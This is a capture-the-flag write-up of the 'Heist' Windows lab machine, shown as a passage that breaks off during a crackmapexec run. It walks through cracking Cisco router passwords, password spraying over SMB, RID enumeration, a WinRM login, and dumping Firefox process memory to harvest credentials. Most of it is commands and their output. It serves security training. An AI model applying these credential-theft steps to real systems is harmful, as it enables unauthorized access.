mirror of
http://git.nowherejezfoltodf4jiyl6r56jnzintap5vyjlia7fkirfsnfizflqd.onion/nihilist/hacking-blogposts.git
synced 2025-05-16 12:27:02 +00:00
702 lines
30 KiB
Markdown
702 lines
30 KiB
Markdown
---
|
|
search:
|
|
exclude: true
|
|
---
|
|
# Heist Writeup
|
|
|
|
|
|
|
|
## Heist Introduction :
|
|
|
|
Heist is an easy Windows box that was released back in August 2019.
|
|
|
|
## **Part 1 : Initial Enumeration**
|
|
|
|
As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
|
|
|
|
|
|
λ nihilist [ 10.10.14.7/23 ] [~]
|
|
→ nmap -F 10.10.10.149
|
|
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-18 08:26 GMT
|
|
Nmap scan report for 10.10.10.149
|
|
Host is up (0.098s latency).
|
|
Not shown: 97 filtered ports
|
|
PORT STATE SERVICE
|
|
80/tcp open http
|
|
135/tcp open msrpc
|
|
445/tcp open microsoft-ds
|
|
|
|
Nmap done: 1 IP address (1 host up) scanned in 3.04 seconds
|
|
|
|
λ nihilist [ 10.10.14.7/23 ] [~]
|
|
→ nmap -sCV -p80,135,445 10.10.10.149
|
|
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-18 08:28 GMT
|
|
Nmap scan report for 10.10.10.149
|
|
Host is up (0.11s latency).
|
|
|
|
PORT STATE SERVICE VERSION
|
|
80/tcp open http Microsoft IIS httpd 10.0
|
|
| http-cookie-flags:
|
|
| /:
|
|
| PHPSESSID:
|
|
|_ httponly flag not set
|
|
| http-methods:
|
|
|_ Potentially risky methods: TRACE
|
|
|_http-server-header: Microsoft-IIS/10.0
|
|
| http-title: Support Login Page
|
|
|_Requested resource was login.php
|
|
135/tcp open msrpc Microsoft Windows RPC
|
|
445/tcp open microsoft-ds?
|
|
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
|
|
|
|
Host script results:
|
|
|_clock-skew: 57s
|
|
| smb2-security-mode:
|
|
| 2.02:
|
|
|_ Message signing enabled but not required
|
|
| smb2-time:
|
|
| date: 2020-02-18T08:30:02
|
|
|_ start_date: N/A
|
|
|
|
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
|
Nmap done: 1 IP address (1 host up) scanned in 65.57 seconds
|
|
|
|
|
|
## **Part 2 : Getting User Access**
|
|
|
|
Our nmap scan picked up the http service on port 80 so let's see what we are dealing with. http://10.10.10.149/login.php and we navigate over to issues.php
|
|
|
|
 
|
|
|
|
|
|
version 12.2
|
|
no service pad
|
|
service password-encryption
|
|
!
|
|
isdn switch-type basic-5ess
|
|
!
|
|
hostname ios-1
|
|
!
|
|
security passwords min-length 12
|
|
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
|
|
!
|
|
username rout3r password 7 0242114B0E143F015F5D1E161713
|
|
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
|
|
!
|
|
!
|
|
ip ssh authentication-retries 5
|
|
ip ssh version 2
|
|
!
|
|
!
|
|
router bgp 100
|
|
synchronization
|
|
bgp log-neighbor-changes
|
|
bgp dampening
|
|
network 192.168.0.0Â mask 300.255.255.0
|
|
timers bgp 3 9
|
|
redistribute connected
|
|
!
|
|
ip classless
|
|
ip route 0.0.0.0 0.0.0.0 192.168.0.1
|
|
!
|
|
!
|
|
access-list 101 permit ip any any
|
|
dialer-list 1 protocol ip list 101
|
|
!
|
|
no ip http server
|
|
no ip http secure-server
|
|
!
|
|
line vty 0 4
|
|
session-timeout 600
|
|
authorization exec SSH
|
|
transport input ssh
|
|
|
|
|
|
|
|
Here we have a cisco router config, with 2 type 7 passwords, so we'll use [this python script](https://github.com/theevilbit/ciscot7) to decrypt them. As for the type 5 password we'll just use hashcat in combination with rockyou.txt to find the password.
|
|
|
|
|
|
λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Heist]
|
|
→ git clone https://github.com/theevilbit/ciscot7
|
|
Cloning into 'ciscot7'...
|
|
remote: Enumerating objects: 4, done.
|
|
remote: Counting objects: 100% (4/4), done.
|
|
remote: Compressing objects: 100% (4/4), done.
|
|
remote: Total 19 (delta 0), reused 0 (delta 0), pack-reused 15
|
|
Unpacking objects: 100% (19/19), 6.73 KiB | 574.00 KiB/s, done.
|
|
|
|
λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Heist]
|
|
→ cd ciscot7
|
|
|
|
λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/ciscot7] at master ✔
|
|
→ ls [21af318]
|
|
ciscot7.py LICENSE.md README.md
|
|
|
|
λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/ciscot7] at master ✔
|
|
→ python ciscot7.py -p 0242114B0E143F015F5D1E161713 [21af318]
|
|
Decrypted password: $uperP@ssword
|
|
|
|
λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/ciscot7] at master ✔
|
|
→ python ciscot7.py -p 02375012182C1A1D751618034F36415408 [21af318]
|
|
Decrypted password: Q4)sJu\Y8qz*A3?d
|
|
|
|
|
|
now that we have the two type 7 passwords, we'll try to get the type 5 password using hashcat and rockyou.txt
|
|
|
|
|
|
λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/ciscot7] at master ✔
|
|
→ echo '$1$pdQG$o8nrSzsGXeaduXrjlvKc91' >> cis.md5 [21af318]
|
|
|
|
λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/ciscot7] at master ?
|
|
→ cat cis.md5 [21af318]
|
|
$1$pdQG$o8nrSzsGXeaduXrjlvKc91
|
|
|
|
λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/ciscot7] at master ?
|
|
→ hashcat -m 500 [21af318]
|
|
Usage: hashcat [options]... hash|hashfile|hccapxfile [dictionary|mask|directory]...
|
|
|
|
Try --help for more help.
|
|
|
|
λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/ciscot7] at master ?
|
|
→ hashcat -m 500 cis.md5 /usr/share/wordlists/rockyou.txt [21af318]
|
|
|
|
|
|
This takes some time to run, but we get the password "stealth1agent"
|
|
|
|
* rout3r:$uperP@ssword
|
|
* admin:Q4)sJu\Y8qz*A3?d
|
|
* secret:stealth1agent
|
|
|
|
|
|
|
|
other than those credentials, we have potential usernames : Hazard
|
|
|
|
In other words, we have 4 possible usernames, and 3 possible passwords, let's create users.txt and pass.txt , in order to use crackmapexec on the shares our nmap scan picked up earlier.
|
|
|
|
|
|
λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Heist]
|
|
→ nano users.txt
|
|
|
|
λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Heist]
|
|
→ nano pass.txt
|
|
|
|
λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Heist]
|
|
→ crackmapexec smb 10.10.10.149 -u users.txt -p pass.txt
|
|
SMB 10.10.10.149 445 SUPPORTDESK [*] Windows 10.0 Build 17763 x64 (name:SUPPORTDESK) (domain:SUPPORTDESK) (signing:False) (SMBv1:False)
|
|
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\secret:$uperP@ssword STATUS_LOGON_FAILURE
|
|
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\secret:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
|
|
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\secret:stealth1agent STATUS_LOGON_FAILURE
|
|
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\admin:$uperP@ssword STATUS_LOGON_FAILURE
|
|
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\admin:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
|
|
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\admin:stealth1agent STATUS_LOGON_FAILURE
|
|
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\rout3r:$uperP@ssword STATUS_LOGON_FAILURE
|
|
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\rout3r:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
|
|
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\rout3r:stealth1agent STATUS_LOGON_FAILURE
|
|
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\hazard:$uperP@ssword STATUS_LOGON_FAILURE
|
|
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\hazard:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
|
|
SMB 10.10.10.149 445 SUPPORTDESK [+] SUPPORTDESK\hazard:stealth1agent
|
|
SMB 10.10.10.149 445 SUPPORTDESK [+] Enumerated shares
|
|
SMB 10.10.10.149 445 SUPPORTDESK Share Permissions Remark
|
|
SMB 10.10.10.149 445 SUPPORTDESK ----- ----------- ------
|
|
SMB 10.10.10.149 445 SUPPORTDESK ADMIN$ Remote Admin
|
|
SMB 10.10.10.149 445 SUPPORTDESK C$ Default share
|
|
SMB 10.10.10.149 445 SUPPORTDESK IPC$ READ Remote IPC
|
|
|
|
|
|
We get matching credentials for hazard:stealth1agent ! Let's fire up the metasploit database and then launch msfconsole to see what we can do from there.
|
|
|
|
|
|
λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Heist]
|
|
→ msfdb init
|
|
[+] Starting database
|
|
[+] Creating database user 'msf'
|
|
[+] Creating databases 'msf'
|
|
[+] Creating databases 'msf_test'
|
|
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
|
|
[+] Creating initial database schema
|
|
|
|
λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Heist]
|
|
→ msfconsole
|
|
|
|
msf5 > creds
|
|
Credentials
|
|
===========
|
|
|
|
host origin service public private realm private_type JtR Format
|
|
---- ------ ------- ------ ------- ----- ------------ ----------
|
|
|
|
msf5 > use auxiliary/scanner/smb/smb_login
|
|
msf5 auxiliary(scanner/smb/smb_login) > setg USER_FILE user.txt
|
|
USER_FILE => user.txt
|
|
msf5 auxiliary(scanner/smb/smb_login) > setg PASS_FILE pass.txt
|
|
PASS_FILE => pass.txt
|
|
msf5 auxiliary(scanner/smb/smb_login) > setg RHOSTS 10.10.10.149
|
|
RHOSTS => 10.10.10.149
|
|
msf5 auxiliary(scanner/smb/smb_login) > run
|
|
|
|
|
|
we can also run this and we would get the same results as the python script we ran before, matching hazard:stealth1agent, for this next section we'll use impacket scripts to continue with our enumeration process
|
|
|
|
|
|
λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Heist]
|
|
→ locate psexec.py
|
|
/usr/share/doc/python3-impacket/examples/psexec.py
|
|
/usr/share/set/src/fasttrack/psexec.py
|
|
|
|
λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Heist]
|
|
→ cd /usr/share/doc/python3-impacket/examples/
|
|
|
|
λ root [ 10.10.14.7/23 ] [doc/python3-impacket/examples]
|
|
→ ls
|
|
atexec.py getST.py mimikatz.py opdump.py rpcdump.py smbserver.py
|
|
dcomexec.py getTGT.py mqtt_check.py ping6.py sambaPipe.py sniffer.py
|
|
dpapi.py GetUserSPNs.py mssqlclient.py ping.py samrdump.py sniff.py
|
|
esentutl.py goldenPac.py mssqlinstance.py psexec.py secretsdump.py split.py
|
|
GetADUsers.py ifmap.py netview.py raiseChild.py services.py ticketer.py
|
|
getArch.py karmaSMB.py nmapAnswerMachine.py rdp_check.py smbclient.py wmiexec.py
|
|
GetNPUsers.py kintercept.py ntfs-read.py registry-read.py smbexec.py wmipersist.py
|
|
getPac.py lookupsid.py ntlmrelayx.py reg.py smbrelayx.py wmiquery.py
|
|
|
|
λ root [ 10.10.14.7/23 ] [doc/python3-impacket/examples]
|
|
→ python3 lookupsid.py 'hazard:stealth1agent'@10.10.10.149
|
|
|
|
|
|
The above command is going to run a RID/SID bruteforce which is going to give us more usernames
|
|
|
|
|
|
λ root [ 10.10.14.7/23 ] [doc/python3-impacket/examples]
|
|
→ python3 lookupsid.py 'hazard:stealth1agent'@10.10.10.149
|
|
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
|
|
|
|
[*] Brute forcing SIDs at 10.10.10.149
|
|
[*] StringBinding ncacn_np:10.10.10.149[\pipe\lsarpc]
|
|
[*] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112
|
|
500: SUPPORTDESK\Administrator (SidTypeUser)
|
|
501: SUPPORTDESK\Guest (SidTypeUser)
|
|
503: SUPPORTDESK\DefaultAccount (SidTypeUser)
|
|
504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
|
|
513: SUPPORTDESK\None (SidTypeGroup)
|
|
1008: SUPPORTDESK\Hazard (SidTypeUser)
|
|
1009: SUPPORTDESK\support (SidTypeUser)
|
|
1012: SUPPORTDESK\Chase (SidTypeUser)
|
|
1013: SUPPORTDESK\Jason (SidTypeUser)
|
|
|
|
|
|
And we're getting interesting results ! we have a few more possible usernames to add to our users.txt file
|
|
|
|
|
|
secret
|
|
admin
|
|
rout3r
|
|
hazard
|
|
support
|
|
chase
|
|
jason
|
|
|
|
|
|
running crackmapexec again, we are getting other matching credentials :
|
|
|
|
|
|
λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Heist]
|
|
→ crackmapexec smb 10.10.10.149 -u users.txt -p pass.txt
|
|
SMB 10.10.10.149 445 SUPPORTDESK [*] Windows 10.0 Build 17763 x64 (name:SUPPORTDESK) (domain:SUPPORTDESK) (signing:False) (SMBv1:False)
|
|
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\secret:$uperP@ssword STATUS_LOGON_FAILURE
|
|
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\secret:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
|
|
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\secret:stealth1agent STATUS_LOGON_FAILURE
|
|
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\admin:$uperP@ssword STATUS_LOGON_FAILURE
|
|
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\admin:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
|
|
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\admin:stealth1agent STATUS_LOGON_FAILURE
|
|
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\rout3r:$uperP@ssword STATUS_LOGON_FAILURE
|
|
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\rout3r:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
|
|
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\rout3r:stealth1agent STATUS_LOGON_FAILURE
|
|
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\support:$uperP@ssword STATUS_LOGON_FAILURE
|
|
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\support:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
|
|
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\support:stealth1agent STATUS_LOGON_FAILURE
|
|
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\chase:$uperP@ssword STATUS_LOGON_FAILURE
|
|
SMB 10.10.10.149 445 SUPPORTDESK [+] SUPPORTDESK\chase:Q4)sJu\Y8qz*A3?d
|
|
|
|
|
|
Now that we have our matching credentials : chase:Q4)sJu\Y8qz*A3?d let's use evil-winrm to login.
|
|
|
|
|
|
λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Heist]
|
|
→ git clone https://github.com/Hackplayers/evil-winrm
|
|
Cloning into 'evil-winrm'...
|
|
remote: Enumerating objects: 65, done.
|
|
remote: Counting objects: 100% (65/65), done.
|
|
remote: Compressing objects: 100% (54/54), done.
|
|
remote: Total 765 (delta 33), reused 27 (delta 11), pack-reused 700
|
|
Receiving objects: 100% (765/765), 1.97 MiB | 485.00 KiB/s, done.
|
|
Resolving deltas: 100% (438/438), done.
|
|
|
|
λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Heist]
|
|
→ cd evil-winrm
|
|
|
|
λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/evil-winrm] at master ✔
|
|
→ cat Gemfile [e501272]
|
|
source 'https://rubygems.org'
|
|
|
|
gem 'winrm'
|
|
gem 'winrm-fs'
|
|
gem 'stringio'
|
|
|
|
λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/evil-winrm] at master ✔
|
|
→ gem install winrm winrm-fs stringio [e501272]
|
|
Fetching: builder-3.2.4.gem (100%)
|
|
ERROR: While executing gem ... (Gem::FilePermissionError)
|
|
You don't have write permissions for the /var/lib/gems/2.5.0 directory.
|
|
|
|
λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/evil-winrm] at master ✔
|
|
→ sudo !! [e501272]
|
|
|
|
λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/evil-winrm] at master ✔
|
|
→ sudo gem install winrm winrm-fs stringio [e501272]
|
|
[sudo] password for nihilist:
|
|
|
|
|
|
Once that's done, run the ruby script as follows:
|
|
|
|
|
|
λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/evil-winrm] at master ✔
|
|
→ ruby evil-winrm.rb -u chase -p 'Q4)sJu\Y8qz*A3?d' -i 10.10.10.149 [e501272]
|
|
|
|
Evil-WinRM shell v2.3
|
|
|
|
Info: Establishing connection to remote endpoint
|
|
|
|
*Evil-WinRM* PS C:\Users\Chase\Documents>
|
|
|
|
|
|
And we are logged in as the Chase user!
|
|
|
|
|
|
*Evil-WinRM* PS C:\Users\Chase\Documents> cd ..
|
|
*Evil-WinRM* PS C:\Users\Chase> gci -recurse . | select fullname
|
|
|
|
FullName
|
|
--------
|
|
C:\Users\Chase\3D Objects
|
|
C:\Users\Chase\Contacts
|
|
C:\Users\Chase\Desktop
|
|
C:\Users\Chase\Documents
|
|
C:\Users\Chase\Downloads
|
|
C:\Users\Chase\Favorites
|
|
C:\Users\Chase\Links
|
|
C:\Users\Chase\Music
|
|
C:\Users\Chase\Pictures
|
|
C:\Users\Chase\Saved Games
|
|
C:\Users\Chase\Searches
|
|
C:\Users\Chase\Videos
|
|
C:\Users\Chase\Desktop\todo.txt
|
|
C:\Users\Chase\Desktop\user.txt
|
|
C:\Users\Chase\Favorites\Links
|
|
C:\Users\Chase\Favorites\Bing.url
|
|
C:\Users\Chase\Links\Desktop.lnk
|
|
C:\Users\Chase\Links\Downloads.lnk
|
|
|
|
*Evil-WinRM* PS C:\Users\Chase> type Desktop\user.txt
|
|
a1XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
|
|
|
|
|
and that's it ! we have been able to print out the user flag :)
|
|
|
|
## **Part 3 : Getting Root Access**
|
|
|
|
In order to privesc, let's check out the files we can view beforehand.
|
|
|
|
|
|
*Evil-WinRM* PS C:\Users\Chase> cd Desktop
|
|
*Evil-WinRM* PS C:\Users\Chase\Desktop> type todo.txt
|
|
Stuff to-do:
|
|
1. Keep checking the issues list.
|
|
2. Fix the router config.
|
|
|
|
Done:
|
|
1. Restricted access for guest user.
|
|
|
|
|
|
looks like they had to fix the router config, as we saw earlier in the issues.php webpage on the http service running on port 80.
|
|
|
|
|
|
*Evil-WinRM* PS C:\Users> cd Hazard
|
|
*Evil-WinRM* PS C:\Users\Hazard> dir
|
|
Access to the path 'C:\Users\Hazard' is denied.
|
|
At line:1 char:1
|
|
+ dir
|
|
+ ~~~
|
|
+ CategoryInfo : PermissionDenied: (C:\Users\Hazard:String) [Get-ChildItem], UnauthorizedAccessException
|
|
+ FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
|
|
|
|
|
|
checking out hazard's user directory, we get permissions denied. We know there is a webserver, so let's enumerate it.
|
|
|
|
|
|
*Evil-WinRM* PS C:\> cd inetpub
|
|
*Evil-WinRM* PS C:\inetpub> cd wwwroot
|
|
*Evil-WinRM* PS C:\inetpub\wwwroot> dir
|
|
Access to the path 'C:\inetpub\wwwroot' is denied.
|
|
At line:1 char:1
|
|
+ dir
|
|
+ ~~~
|
|
+ CategoryInfo : PermissionDenied: (C:\inetpub\wwwroot:String) [Get-ChildItem], UnauthorizedAccessException
|
|
+ FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
|
|
*Evil-WinRM* PS C:\inetpub\wwwroot>
|
|
|
|
|
|
Weird, we don't have permissions to see what files are there in the wwwroot directory, although we know for a fact that index.php, login.php ,issues.php are there. Let's check out the most interesting one : login.php
|
|
|
|
|
|
session_start();
|
|
if( isset($_REQUEST['login']) && !empty($_REQUEST['login_username']) && !empty($_REQUEST['login_password'])) {
|
|
if( $_REQUEST['login_username'] === 'admin@support.htb' && hash( 'sha256', $_REQUEST['login_password']) === '91c077fb5bcdd1eacf7268c945bc1d1ce2faf9634cba615337adbf0af4db9040') {
|
|
$_SESSION['admin'] = "valid";
|
|
header('Location: issues.php');
|
|
}
|
|
else
|
|
header('Location: errorpage.php');
|
|
}
|
|
else if( isset($_GET['guest']) ) {
|
|
if( $_GET['guest'] === 'true' ) {
|
|
$_SESSION['guest'] = "valid";
|
|
header('Location: issues.php');
|
|
}
|
|
}
|
|
|
|
|
|
Looking at the results, we see a few interesting information : admin@support.htb, and a hash sha256 91c077fb5bcdd1eacf7268c945bc1d1ce2faf9634cba615337adbf0af4db9040. So navigating over to [https://hashes.org](https://hashes.org/search.php) we paste our hash and see that sadly, hashes.org can't find it for us, so we navigate over to the attachments directory
|
|
|
|
|
|
*Evil-WinRM* PS C:\inetpub\wwwroot> cd attachments
|
|
*Evil-WinRM* PS C:\inetpub\wwwroot\attachments> gci
|
|
|
|
|
|
Directory: C:\inetpub\wwwroot\attachments
|
|
|
|
|
|
Mode LastWriteTime Length Name
|
|
---- ------------- ------ ----
|
|
-a---- 4/21/2019 1:02 PM 780 config.txt
|
|
|
|
|
|
this is the config.txt we found earlier, but since we don't have the writing rights to put our reverse shell in here, let's try to enumerate the machine a little further.
|
|
|
|
|
|
*Evil-WinRM* PS C:\inetpub\wwwroot\attachments> cd /
|
|
*Evil-WinRM* PS C:\> gci
|
|
|
|
|
|
Directory: C:\
|
|
|
|
|
|
Mode LastWriteTime Length Name
|
|
---- ------------- ------ ----
|
|
d----- 4/21/2019 5:33 PM inetpub
|
|
d----- 9/15/2018 12:49 PM PerfLogs
|
|
d-r--- 8/27/2019 3:00 PM Program Files
|
|
d----- 4/22/2019 6:56 AM Program Files (x86)
|
|
d-r--- 4/22/2019 7:26 AM Users
|
|
d----- 8/27/2019 3:01 PM Windows
|
|
|
|
|
|
*Evil-WinRM* PS C:\> cd "Program Files"
|
|
*Evil-WinRM* PS C:\Program Files> gci
|
|
|
|
|
|
Directory: C:\Program Files
|
|
|
|
|
|
Mode LastWriteTime Length Name
|
|
---- ------------- ------ ----
|
|
d----- 4/21/2019 9:39 AM Common Files
|
|
d----- 4/21/2019 11:00 AM internet explorer
|
|
d----- 4/22/2019 6:56 AM Mozilla Firefox
|
|
d----- 4/22/2019 6:47 AM PHP
|
|
d----- 4/22/2019 6:46 AM Reference Assemblies
|
|
d----- 4/22/2019 6:46 AM runphp
|
|
d----- 8/27/2019 3:00 PM VMware
|
|
d-r--- 4/21/2019 11:00 AM Windows Defender
|
|
d----- 4/21/2019 11:00 AM Windows Defender Advanced Threat Protection
|
|
d----- 9/15/2018 12:49 PM Windows Mail
|
|
d----- 4/21/2019 11:00 AM Windows Media Player
|
|
d----- 9/15/2018 12:49 PM Windows Multimedia Platform
|
|
d----- 9/15/2018 12:58 PM windows nt
|
|
d----- 4/21/2019 11:00 AM Windows Photo Viewer
|
|
d----- 9/15/2018 12:49 PM Windows Portable Devices
|
|
d----- 9/15/2018 12:49 PM Windows Security
|
|
d----- 9/15/2018 12:49 PM WindowsPowerShell
|
|
|
|
|
|
We see that Firefox is installed, let's see if firefox is running using Get-Process
|
|
|
|
|
|
*Evil-WinRM* PS C:\Program Files> Get-Process
|
|
|
|
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
|
|
------- ------ ----- ----- ------ -- -- -----------
|
|
445 17 2268 5632 416 0 csrss
|
|
293 17 2288 5216 500 1 csrss
|
|
358 15 3488 14520 5244 1 ctfmon
|
|
257 14 4144 13504 3988 0 dllhost
|
|
166 9 1880 9812 0.61 6596 1 dllhost
|
|
619 32 33752 59888 372 1 dwm
|
|
1491 58 23660 78168 5624 1 explorer
|
|
1129 69 118928 157936 28.55 2204 1 firefox
|
|
343 20 9980 37448 0.50 6272 1 firefox
|
|
408 31 16888 62536 1.34 6516 1 firefox
|
|
390 30 30596 64112 42.83 6860 1 firefox
|
|
358 26 16348 37612 0.69 7020 1 firefox
|
|
|
|
|
|
From there, we need to processdump one of the firefox processes, to do so we'll use sysinternals
|
|
|
|
_Terminal 2:_
|
|
|
|
|
|
λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Heist]
|
|
→ wget https://download.sysinternals.com/files/SysinternalsSuite.zip
|
|
|
|
λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Heist]
|
|
→ mv ~/Downloads/SysinternalsSuite.zip .
|
|
|
|
λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Heist]
|
|
→ unzip SysinternalsSuite.zip
|
|
|
|
|
|
_Terminal 1:_
|
|
|
|
|
|
*Evil-WinRM* PS C:\Program Files> cd \users\chase\Documents
|
|
*Evil-WinRM* PS C:\users\chase\Documents> upload /home/nihilist/_HTB/Heist/procdump64.exe
|
|
Info: Uploading /home/nihilist/_HTB/Heist/procdump64.exe to C:\users\chase\Documents\procdump64.exe
|
|
|
|
Data: 455560 bytes of 455560 bytes copied
|
|
|
|
Info: Upload successful!
|
|
|
|
|
|
once it's uploaded, we can basically dump the firefox process we mentionned earlier. we'll set a few flags to run the binary we uploaded : -accepteula (self explanatory) -ma (write a full dump file)
|
|
|
|
|
|
*Evil-WinRM* PS C:\users\chase\Documents> .\procdump64.exe -accepteula -ma 2204
|
|
|
|
ProcDump v9.0 - Sysinternals process dump utility
|
|
Copyright (C) 2009-2017 Mark Russinovich and Andrew Richards
|
|
Sysinternals - www.sysinternals.com
|
|
|
|
[15:30:36] Dump 1 initiated: C:\users\chase\Documents\firefox.exe_200218_153036.dmp
|
|
[15:30:36] Dump 1 writing: Estimated dump file size is 460 MB.
|
|
[15:30:38] Dump 1 complete: 460 MB written in 1.8 seconds
|
|
[15:30:38] Dump count reached.
|
|
|
|
|
|
Be aware that the accepteula flag creates a registry entry, which is basically forensic artifact on the box. looking at the results :
|
|
|
|
|
|
Evil-WinRM* PS C:\users\chase\Documents> gci
|
|
|
|
|
|
Directory: C:\users\chase\Documents
|
|
|
|
|
|
Mode LastWriteTime Length Name
|
|
---- ------------- ------ ----
|
|
-a---- 2/18/2020 3:30 PM 470485425 firefox.exe_200218_153036.dmp
|
|
-a---- 2/18/2020 3:26 PM 341672 procdump64.exe
|
|
|
|
|
|
|
|
We're getting a massive file so let's download it rather than printing it's contents in the reverse shell,
|
|
|
|
_Terminal 1:_
|
|
|
|
|
|
*Evil-WinRM* PS C:\users\chase\Documents> download firefox.exe_200218_153036.dmp
|
|
Info: Downloading C:\users\chase\Documents\firefox.exe_200218_153036.dmp to firefox.exe_200218_153036.dmp
|
|
|
|
|
|
We're downloading a massive file and it takes forever, so let's print out the contents of the .dmp file locally looking for passwords
|
|
|
|
_Terminal 2:_
|
|
|
|
|
|
λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/evil-winrm] at master ?
|
|
→ strings firefox.exe_200218_153036.dmp | grep pass [e501272]
|
|
"C:\Program Files\Mozilla Firefox\firefox.exe" localhost/login.php?login_username=admin@support.htb&login;_password=4dD!5}x/re8]FBuZ&login;=
|
|
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login;_password=4dD!5}x/re8]FBuZ&login;=
|
|
localhost/login.php?login_username=admin@support.htb&login;_password=4dD!5}x/re8]FBuZ&login;=
|
|
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login;_password=4dD!5}x/re8]FBuZ&login;=
|
|
x:///chrome/toolkit/content/passwordmgr/
|
|
x:///chrome/en-US/locale/en-US/passwordmgr/
|
|
|
|
|
|
Here we see that a certain password shows up : 4dD!5}x/re8]FBuZ for the user admin@support.htb
|
|
|
|
|
|
|
|
Although it offers no progress whatsoever to log in as that user on the webservice so let's try our credentials somewhere else. let's update our users.txt
|
|
|
|
|
|
secret
|
|
admin
|
|
rout3r
|
|
support
|
|
chase
|
|
jason
|
|
administrator
|
|
|
|
|
|
let's update our pass.txt
|
|
|
|
|
|
4dD!5}x/re8]FBuZ
|
|
|
|
|
|
With our updated users.txt, let's run crackmapexec once again with the password we just found.
|
|
|
|
|
|
λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Heist]
|
|
→ crackmapexec smb 10.10.10.149 -u users.txt -p pass.txt --shares
|
|
SMB 10.10.10.149 445 SUPPORTDESK [*] Windows 10.0 Build 17763 x64 (name:SUPPORTDESK) (domain:SUPPORTDESK) (signing:False) (SMBv1:False)
|
|
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\secret:4dD!5}x/re8]FBuZ STATUS_LOGON_FAILURE
|
|
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\admin:4dD!5}x/re8]FBuZ STATUS_LOGON_FAILURE
|
|
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\rout3r:4dD!5}x/re8]FBuZ STATUS_LOGON_FAILURE
|
|
